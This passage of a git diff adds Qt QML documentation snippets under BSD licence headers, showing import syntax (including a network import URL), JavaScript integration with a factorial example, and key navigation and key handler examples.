+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import QtQuick 1.0 as QtLibrary
+import "../MyComponents" as MyComponents
+import com.nokia.qml.mymodule 1.0 as MyModule
+//! [imports]
+
+Item {
+ //! [imported items]
+ QtLibrary.Rectangle {
+ // ...
+ }
+
+ MyComponents.Slider {
+ // ...
+ }
+
+ MyModule.SomeComponent {
+ // ...
+ }
+ //! [imported items]
+}
diff --git a/doc/src/snippets/declarative/imports/network-imports.qml b/doc/src/snippets/declarative/imports/network-imports.qml
new file mode 100644
index 00000000..09777f04
--- /dev/null
+++ b/doc/src/snippets/declarative/imports/network-imports.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import "http://www.my-server.com/MyQMLProject/MyComponents"
+import "http://www.my-server.com/MyQMLProject/MyComponents" 1.0
+//! [imports]
+
+Item {
+}
diff --git a/doc/src/snippets/declarative/imports/qtquick-1.0.qml b/doc/src/snippets/declarative/imports/qtquick-1.0.qml
new file mode 100644
index 00000000..d53b7c1d
--- /dev/null
+++ b/doc/src/snippets/declarative/imports/qtquick-1.0.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import QtQuick 1.0
+//! [import]
+
+Item {
+}
diff --git a/doc/src/snippets/declarative/imports/timeexample.qml b/doc/src/snippets/declarative/imports/timeexample.qml
new file mode 100644
index 00000000..87d1960b
--- /dev/null
+++ b/doc/src/snippets/declarative/imports/timeexample.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import com.nokia.TimeExample 1.0
+//! [import]
+
+Item {
+}
diff --git a/doc/src/snippets/declarative/integrating-javascript/connectjs.qml b/doc/src/snippets/declarative/integrating-javascript/connectjs.qml
new file mode 100644
index 00000000..c9404566
--- /dev/null
+++ b/doc/src/snippets/declarative/integrating-javascript/connectjs.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+import "script.js" as MyScript
+
+Item {
+ id: item
+ width: 200; height: 200
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ }
+
+ Component.onCompleted: {
+ mouseArea.clicked.connect(MyScript.jsFunction)
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/integrating-javascript/includejs/app.qml b/doc/src/snippets/declarative/integrating-javascript/includejs/app.qml
new file mode 100644
index 00000000..32366135
--- /dev/null
+++ b/doc/src/snippets/declarative/integrating-javascript/includejs/app.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+import "script.js" as MyScript
+
+Item {
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ MyScript.showCalculations(10)
+ console.log("Call factorial() from QML:",
+ MyScript.factorial(10))
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/integrating-javascript/includejs/factorial.js b/doc/src/snippets/declarative/integrating-javascript/includejs/factorial.js
new file mode 100644
index 00000000..310bd3ec
--- /dev/null
+++ b/doc/src/snippets/declarative/integrating-javascript/includejs/factorial.js
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// factorial.js
+function factorial(a) {
+ a = parseInt(a);
+ if (a <= 0)
+ return 1;
+ else
+ return a * factorial(a - 1);
+}
+//![0]
diff --git a/doc/src/snippets/declarative/integrating-javascript/includejs/script.js b/doc/src/snippets/declarative/integrating-javascript/includejs/script.js
new file mode 100644
index 00000000..8fdaa712
--- /dev/null
+++ b/doc/src/snippets/declarative/integrating-javascript/includejs/script.js
@@ -0,0 +1,48 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// script.js
+Qt.include("factorial.js")
+
+function showCalculations(value) {
+ console.log("Call factorial() from script.js:",
+ factorial(value));
+}
+//![0]
diff --git a/doc/src/snippets/declarative/integrating-javascript/script.js b/doc/src/snippets/declarative/integrating-javascript/script.js
new file mode 100644
index 00000000..bc2e31c6
--- /dev/null
+++ b/doc/src/snippets/declarative/integrating-javascript/script.js
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// script.js
+
+function jsFunction() {
+ console.log("Called JavaScript function!")
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/keynavigation.qml b/doc/src/snippets/declarative/keynavigation.qml
new file mode 100644
index 00000000..8ea15598
--- /dev/null
+++ b/doc/src/snippets/declarative/keynavigation.qml
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Grid {
+ width: 100; height: 100
+ columns: 2
+
+ Rectangle {
+ id: topLeft
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+ focus: true
+
+ KeyNavigation.right: topRight
+ KeyNavigation.down: bottomLeft
+ }
+
+ Rectangle {
+ id: topRight
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+
+ KeyNavigation.left: topLeft
+ KeyNavigation.down: bottomRight
+ }
+
+ Rectangle {
+ id: bottomLeft
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+
+ KeyNavigation.right: bottomRight
+ KeyNavigation.up: topLeft
+ }
+
+ Rectangle {
+ id: bottomRight
+ width: 50; height: 50
+ color: focus ? "red" : "lightgray"
+
+ KeyNavigation.left: bottomLeft
+ KeyNavigation.up: topRight
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/keys/keys-handler.qml b/doc/src/snippets/declarative/keys/keys-handler.qml
new file mode 100644
index 00000000..5fbc391c
--- /dev/null
+++ b/doc/src/snippets/declarative/keys/keys-handler.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 400; height: 400
+
+//! [key item]
+Item {
+ anchors.fill: parent
+ focus: true
+ Keys.onLeftPressed: console.log("move left")
+}
+//! [key item]
+
+Text {
+ anchors.fill: parent
+ text: "Press a cursor key"
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
+}
+}
diff --git a/doc/src/snippets/declarative/keys/keys-pressed.qml b/doc/src/snippets/declarative/keys/keys-pressed.qml
new file mode 100644
index 00000000..1f532538
--- /dev/null
+++ b/doc/src/snippets/declarative/keys/keys-pressed.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 400; height: 400
+
+//! [key item]
+Item {
+ anchors.fill: parent
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_Left) {
+ console.log("move left");
+ event.accepted = true;
+ }
+ }
+}
+//! [key item]
+
+Text {
+ anchors.fill: parent
+ text: "Press a cursor key"
+ horizontalAlignment: Text.AlignHCenter
+ verticalAlignment: Text.AlignVCenter
+}
+}
diff --git a/doc/src/snippets/declarative/layoutmirroring.qml b/doc/src/snippets/declarative/layoutmirroring.qml
new file mode 100644
index 00000000..b0d4a7c3
--- /dev/null
+++ b/doc/src/snippets/declarative/layoutmirroring.qml
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
